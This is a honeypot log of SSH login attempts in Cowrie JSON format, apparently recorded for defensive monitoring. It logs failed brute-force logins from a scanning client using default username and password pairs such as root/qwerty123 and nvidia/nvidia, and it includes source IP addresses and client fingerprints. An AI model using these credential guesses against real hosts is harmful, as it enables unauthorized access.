{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:27.683443Z","src_ip":"45.156.87.253","session":"fe95dd1be36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:27.930589Z","src_ip":"45.156.87.253","session":"fe95dd1be36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:29.014598Z","src_ip":"45.156.87.253","session":"fe95dd1be36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.25953125953674,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:30.693675Z","src_ip":"107.6.151.170","session":"a59d18344ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40788,"dst_ip":"10.17.0.5","dst_port":22,"session":"c516e51b55eb","protocol":"ssh","message":"New connection: 45.156.87.253:40788 (10.17.0.5:22) [session: c516e51b55eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:31.133093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:31.136603Z","src_ip":"45.156.87.253","session":"c516e51b55eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:31.216866Z","src_ip":"45.156.87.253","session":"c516e51b55eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:31.458603Z","src_ip":"45.156.87.253","session":"c516e51b55eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:32.541093Z","src_ip":"45.156.87.253","session":"c516e51b55eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40790,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd42875ed5b","protocol":"ssh","message":"New connection: 45.156.87.253:40790 (10.17.0.5:22) [session: 9cd42875ed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:34.459927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:34.463537Z","src_ip":"45.156.87.253","session":"9cd42875ed5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:34.542980Z","src_ip":"45.156.87.253","session":"9cd42875ed5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:34.785155Z","src_ip":"45.156.87.253","session":"9cd42875ed5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:35.867484Z","src_ip":"45.156.87.253","session":"9cd42875ed5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cc56dee5a80","protocol":"ssh","message":"New connection: 45.156.87.253:40800 (10.17.0.5:22) [session: 0cc56dee5a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:37.974901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:37.978427Z","src_ip":"45.156.87.253","session":"0cc56dee5a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:38.058627Z","src_ip":"45.156.87.253","session":"0cc56dee5a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:38.300204Z","src_ip":"45.156.87.253","session":"0cc56dee5a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:39.385549Z","src_ip":"45.156.87.253","session":"0cc56dee5a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41322,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cb6cc72fbd1","protocol":"ssh","message":"New connection: 45.156.87.253:41322 (10.17.0.5:22) [session: 4cb6cc72fbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:41.320371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:41.324368Z","src_ip":"45.156.87.253","session":"4cb6cc72fbd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:41.405124Z","src_ip":"45.156.87.253","session":"4cb6cc72fbd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234","message":"login attempt [git/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:41.648799Z","src_ip":"45.156.87.253","session":"4cb6cc72fbd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:42.803335Z","src_ip":"45.156.87.253","session":"4cb6cc72fbd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41324,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ad5649a224","protocol":"ssh","message":"New connection: 45.156.87.253:41324 (10.17.0.5:22) [session: 55ad5649a224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:44.704492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:44.708218Z","src_ip":"45.156.87.253","session":"55ad5649a224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:44.789175Z","src_ip":"45.156.87.253","session":"55ad5649a224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:45.199815Z","src_ip":"45.156.87.253","session":"55ad5649a224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:46.283795Z","src_ip":"45.156.87.253","session":"55ad5649a224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41340,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8c52def724","protocol":"ssh","message":"New connection: 45.156.87.253:41340 (10.17.0.5:22) [session: bc8c52def724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:48.246600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:48.250109Z","src_ip":"45.156.87.253","session":"bc8c52def724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:48.331447Z","src_ip":"45.156.87.253","session":"bc8c52def724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:48.580613Z","src_ip":"45.156.87.253","session":"bc8c52def724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:49.765782Z","src_ip":"45.156.87.253","session":"bc8c52def724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57376,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d1dc652abbf","protocol":"ssh","message":"New connection: 45.156.87.253:57376 (10.17.0.5:22) [session: 2d1dc652abbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:51.525778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:51.529078Z","src_ip":"45.156.87.253","session":"2d1dc652abbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:51.609153Z","src_ip":"45.156.87.253","session":"2d1dc652abbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:51.867279Z","src_ip":"45.156.87.253","session":"2d1dc652abbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:52.951555Z","src_ip":"45.156.87.253","session":"2d1dc652abbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":60576,"dst_ip":"10.17.0.5","dst_port":22,"session":"670481b2bebf","protocol":"ssh","message":"New connection: 99.252.20.159:60576 (10.17.0.5:22) [session: 670481b2bebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:53.618179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:53.628678Z","src_ip":"99.252.20.159","session":"670481b2bebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@o